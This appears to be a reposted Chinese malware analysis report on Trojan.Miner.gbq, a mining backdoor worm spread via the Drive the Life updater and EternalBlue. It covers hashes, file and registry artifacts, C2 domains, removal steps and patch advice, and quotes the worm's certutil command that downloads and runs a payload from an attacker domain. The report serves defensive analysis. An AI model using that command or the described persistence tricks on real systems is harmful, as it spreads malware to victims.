Trojan.Miner.gbq挖礦病毒分析報告
https://www.freebuf.com/articles/network/196594.html 竟然還有端口轉發... 這哥們..

2018年12月一款通過驅動人生升級通道下發傳播的木馬爆發,該木馬同時利用了永恆之藍高危漏洞進行傳播,最終導致了僅2個小時受攻擊的用戶就高達10萬,造成了嚴重的危害。
一、病毒信息
病毒名稱:Trojan.Miner.gbq。
病毒類型:挖礦程序,后門,蠕蟲。
MD5:59b18d6146a2aa066f661599c496090d。
SHA1:48a3046381a963a2471875ef67886e35b90e8541。
文件類型:PE、EXE。
文件大小:201,776 字節。
傳播途徑:通過驅動人生的升級通道下發。
影響系統:安裝了受影響的驅動人生程序的Windows系統,內網中未打MS17-010系統補丁且開啟445端口的Windows系統。
二、病毒概況
2019年1月24日,攻擊者通過雲控指令對該木馬又進行了新的更新,更新文件下載URL:http[:]//dl.haqo.net/updater.exe,MD5:59b18d6146a2aa066f661599c496090d,下載到本地保存的路徑為:C:\Windows\temp\updater.exe,該惡意代碼執行后便會將自身移動到系統關鍵目錄並釋放多個文件執行,上傳主機的相關信息並從指定的惡意域名查詢指令,根據雲端指令執行惡意行為,當前雲端的指令僅僅是控制感染主機進行挖礦操作,后續攻擊者可以根據需要改變雲端指令,從而控制感染主機執行更加危險的操作。
三、病毒危害
感染主機將接受惡意攻擊者下發的任意指令執行惡意操作,當前下發的指令是控制感染主機進行挖礦操作,影響用戶的主機性能,同時下載永恆之藍利用工具實現內網的感染操作,從而實現組建僵屍網絡的目的。
四、文件行為
1).下載保存文件到c:\windows\temp\updater.exe,執行后移動到其他位置;
2).移動文件到c:\windows\system32\svhost.exe,並設置隱藏屬性;
3).拷貝文件到c:\windows\system32\drivers\svchost.exe,並設置隱藏屬性;
4).釋放文件到c:\windows\system32\drivers\taskmgr.exe,並設置隱藏屬性;
5).釋放文件到c:\windows\system32\wmiex.exe,並設置隱藏屬性;
6).下載文件到c:\windows\temp\svchost,此文件為永恆之藍漏洞利用工具;
7).釋放文件到c:\windows\temp\m.ps1,此文件為mimikatz密碼hash提取工具;
8).釋放文件到c:\windows\temp\mkatz.ini,此文件包含提取本機用戶的hash值。
注:在Windows64位系統中c:\windows\system32替換為c\windows\SysWOW64;
五、注冊表行為
1).添加注冊表項:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ddriver
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WebServers
六、網絡行為
1).嘗試上傳主機信息到http[:]//i.haqo.net;
2).嘗試上傳主機信息到http[:]//p.abbny.com;
3).嘗試上傳主機信息到http[:]//o.beahh.com;
4).嘗試上傳主機信息到http[:]//ii.haqo.net;
5).嘗試上傳主機信息到http[:]//pp.abbny.com;
6).嘗試上傳主機信息到http[:]//oo.beahh.com;
7).嘗試獲取遠控指令信息http[:]//i.haqo.net/i.png;
8).嘗試獲取遠控指令信息http[:]//p.abbny.com/im.png;
9).嘗試獲取遠控指令信息http[:]//o.beahh.com/i.png;
10).嘗試獲取遠控指令信息http[:]//ii.haqo.net/u.png;
11).嘗試獲取遠控指令信息http[:]//pp.abbny.com/u.png;
12).嘗試獲取遠控指令信息http[:]//oo.beahh.com/u.png;
七、手工清除方法
1).刪除計划任務,結束病毒進程並刪除服務:
Ÿ 刪除名為Ddrivers和WebServers的計划任務;
Ÿ 刪除名為DnsScan的計划任務;
Ÿ 刪除名為\Microsoft\Windows\Bluetooths的計划任務;
Ÿ 刪除可能存在的計划任務Certificate;
Ÿ 刪除可能存在的計划任務Credentials;
Ÿ 結束名為wmiex.exe進程以及描述為“svchost”的svchost進程;(注:通常正常的svchost進程描述為“Windows服務主進程”);
Ÿ 刪除名為Ddriver和WebServers的服務項;
2).刪除下載和釋放的病毒文件,路徑如下:
Ÿ c:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat(注:[Username] 替換為當前登錄的用戶名);
Ÿ c:\Users\[Username]\AppData\Roaming\Microsoft\cred.ps1(注:[Username]替換為當前登錄的用戶名);
Ÿ c:\programdata\microsoft\cred.ps1;
Ÿ c:\windows\temp\updater.exe;
Ÿ c:\windows\system32\svhost.exe;
Ÿ c:\windows\system32\drivers\svchost.exe;
Ÿ c:\windows\system32\drivers\taskmgr.exe;
Ÿ c:\windows\system32\wmiex.exe;
Ÿ c:\windows\temp\svchost;
Ÿ c:\windows\temp\m.ps1;
Ÿ c:\windows\temp\mkatz.ini;
3).刪除病毒創建的注冊表項:
Ÿ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ddriver;
Ÿ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WebServers;
4).刪除病毒設置的防火牆欄目:
Ÿ 刪除入站規則名為UDP,開放65532端口的規則;
Ÿ 刪除入站規則名為UDP2,開放65531端口的規則;
Ÿ 刪除入站規則名為ShareService,開放65533端口的規則;
5).刪除病毒設置的端口轉發的設置
CMD管理員執行如下命令:
Ÿ netsh interface portproxy delete v4tov4 listenport=65531
Ÿ netsh interface portproxy delete v4tov4 listenport=65532
八、應對措施及建議
1).卸載老版本的驅動人生程序或者更新至最新版防止攻擊者下發新的惡意代碼;
2).內網使用共享的主機打上MS17-010漏洞補丁(補丁編號為KB4012212和KB4012215),防止利用此漏洞的橫向攻擊;
3).內網使用共享的主機還需要打上KB2871997漏洞補丁,防止利用此漏洞的橫向攻擊;
4).安裝好防病毒軟件並及時更新病毒庫以抵抗最新惡意代碼的攻擊。
九、詳細分析報告
1).主程序啟動后首先嘗試啟動名為Ddriver的服務進程,如果主機已經被感染則直接執行服務函數進行挖礦等惡意行為,如果主機是初次被感染則執行感染配置行為。
圖1 主函數入口
2).第一步檢查自身名稱是否為svhost或者svchost.exe,如果程序名稱不為svhost或者svchost.exe則從資源節中解密釋放PE文件,釋放文件的hash: a4b7940b3d6b03269194f728610784d6,最終在磁盤中釋放路徑為C:\windows\temp\ttt.exe,釋放完成后便執行該文件。
圖2 釋放主程序中102號資源文件
圖3 加密狀態的102號資源文件
3).釋放執行ttt.exe文件后便多次使用cmd命令清理系統原來感染的老版本的挖礦程序,為新版挖礦程序的安裝和運行清理環境。
圖4 結束刪除老版的挖礦程序
4).設置Windows防火牆開啟65531,65532,65533端口,在防火牆規則中分別命名為UDP2,UDP,ShareService,同時開啟端口轉發,將來自65532端口的流量轉發到1.1.1.1地址的53端口,將來自65531端口的流量轉發到1.1.1.1地址的53端口。
圖5 設置防火牆並設置端口代理
圖6 Windows防火牆中的增項
圖7 端口代理
5).拷貝主程序到C:\windows\system32\svhost.exe並設置隱藏屬性,同時拷貝一份到C:\windows\system32\drivers\svchost.exe,之后設置計划任務同時設置注冊表項,實現程序的開機啟動和定期觸發執行。
圖8 拷貝主程序文件到系統關鍵目錄下
圖9 設置計划任務和注冊表項
6).完成上述配置后嘗試使用CreateServiceA函數將C:\windows\system32\drivers\svchost.exe注冊為服務,如果服務存在則修改服務配置,如果CreateServiceA函數調用失敗則使用CMD方式調用sc create創建服務,最終嘗試使用net start和StartServiceA函數的方式啟動服務函數。
圖10 創建Ddriver服務的首選方式
圖11 創建Ddriver服務的備用方式
圖12 啟動創建的Ddriver服務
7).服務主函數中首先根據系統位數拼接后續將要使用到的字符串資源,包括從而已域名臨時下載的文件以及解密之后的文件,和后續用來偽裝成任務管理器共享進程進行挖礦操作taskmgr.exe。
圖13 拼接后續需要使用的字符串
8). 創建名為“it is holy shit”的互斥體防止進程重復啟動運行,根據系統位數解密釋放對應的資源文件,64位系統解密釋放100號資源,32位系統解密釋放標號為101號資源,釋放路徑為C:\Windows\system32\drivers\taskmgr.exe(64位系統:C:\Windows\SysWOW64\drivers\taskmgr.exe)。
圖14 利用互斥體防止進程重復啟動
圖15 根據系統位數釋放taskmgr.exe文件
9).之后創建四個線程分別進行相關的惡意操作,第一個線程根據主機中的進程和主機系統相關參數調整挖礦程序的運行狀態,當用戶打開任務管理器瀏覽時會自動關閉偽裝程序taskmgr.exe,使其不被用戶發現;第二個線程每隔10s嘗試啟動C:\Windows\temp\svchost.exe(永恆之藍漏洞攻擊文件),實現內網的橫向感染傳播;第三個線程使用Wmic命令,每10秒對進程進行一次檢查,觸發時將結束挖礦進程;第四個線程打開監聽65533端口。
圖16 創建四個線程進行操作
圖17 根據主機進程決定是否暫時關閉偽裝進程
圖18 每隔10秒嘗試啟動永恆之藍漏洞攻擊文件
圖19 每隔10秒使用WMIC檢查進程並決定是否關閉挖礦程序
圖20 開啟監聽65533端口
10).收集主機信息並發送到遠程服務器,收集的信息包括主機ID,GUID,MAC地址,用戶名,系統版本,系統位數,CPU型號,安裝的反病毒軟件等等,最終在下載下一步指令的同時將上述信息傳輸到遠程服務器。
圖21 收集發送到遠程服務器的主機信息
11).之后嘗試訪問遠程服務器中指定的文件內容,從而獲取執行指令,在本地解密后解析執行指令,發送的指令通過RC4+RSA算法進行加密,本地獲取指令后通過硬編碼的RSA公鑰進行解密,最終解析執行遠程命令。
圖22 當前下發的指令密文
圖23 密文用於解密網址及資源路徑並使用RSA算法驗證指令合法性
12).由接受到的*.png中的指令內容下載指定的文件執行,當前指令的意圖是從惡意域名http[:]//dl.haqo.net/下載i.exez資源,該資源為加密狀態,下載到本地后解密執行,最終下載解密到C:\windows\temp\svchost.exe,目前下載的程序為永恆之藍漏洞利用程序,該程序利用445端口實現了病毒的內網橫向傳播操作,該利用工具中還增加了PASS-THE-HASH的模塊,嘗試利用內網弱口令進行遠程拷貝執行感染操作。
圖24 下載指定文件解密執行
13).釋放的ttt.exe文件執行之后會將自身移動到C:\Windows\System32\wmiex.exe(64位系統:C:\Windows\SysWOW64\wmiex.exe)並設置了隱藏屬性,將自身寫入計划任務,任務名為WebServers,每隔50分鍾執行一次C:\Windows\system32\wmiex.exe(64位系統:C:\Windows\SysWOW64\wmiex.exe),並創建服務WebServers設置為開機自啟動。
圖25 釋放的ttt.exe文件被移動到指定路徑
圖26 設置計划任務項使其定期觸發
圖27 創建服務使其每次開機能夠自啟動
圖28 釋放文件實現上述功能采用的命令行
14).WebServers服務啟動后會向指定的三個域名發起Get請求將獲取的主機相關信息發送到遠程服務器,從而收集主機的相關信息,其中包含主機名,標識主機的GUID,主機MAC地址,主機系統和操作系統位數,其中pp.abbny.com和oo.beahh.com域名解析請求失敗,ii.haqo.net解析IP為172.104.73.9(IP地址顯示歸屬地為日本)。
圖29 上傳信息所到的惡意域名
圖30 上傳信息主機信息
15).WebServers服務同時具備Ddriver服務的聯網功能,通過嘗試下載指定域名的u.png文件,圖片文件中包含了加密的指令內容,攻擊者可以通過編輯該文件從而控制感染主機進行任意操作,也可以修改指令改變所下發的指令內容,當前該文件並不存在,因此WebServers不會執行其他惡意行為,僅僅處於等待指令的狀態,在每次開機以及開機狀態后每隔50分鍾檢查接收一次遠程指令,wmiex.exe中的代碼和svchost主程序中網絡相關的代碼基本一致,RSA公鑰也是一樣的,因此在這里算是攻擊者的一個重復性操作。
圖31 wmiex.exe和svchost.exe硬編碼的公鑰信息
16).內網利用漏洞進行傳播,漏洞利用成功后遠程執行命令:certutil -urlcache -split -f http[:]//dl.haqo.net/dll.exe c:/installs.exe,使受害主機主動到攻擊者設置好的網站下載執行惡意代碼,實現蠕蟲式傳播。
圖32 漏洞利用工具包
十、樣本溯源分析
十一、附錄(IOCs)
a)HASH
bdbfa96d17c2f06f68b3bcc84568cf445915e194f130b0dc2411805cf889b6cc
b771267551961ce840a1fbcd65e8f5ecd0a21350387f35bbcd4c24125ec04530
01b842cab76c78a1d9860ade258923772fe3b08ae7a428d5f54e1bf9d9c3b205
735d9699b69b3ae2d27cbf452d488e1d1adbe643c8228e7093d012bf7fcff6de
57e4c156750f2ad1de1e22a5dd749a8dc4fedf88132c0ad6cb3506a838664dca
b)C&C
i.haqo.net
ii.haqo.net
dl.haqo.net
o.beahh.com
oo.beahh.com
p.abbny.com
pp.abbny.com
172.104.73.9(日本)
68.183.178.71(美國)
139.162.107.97(日本)
153.92.4.49(美國)
120.52.51.13(中國河北省廊坊市)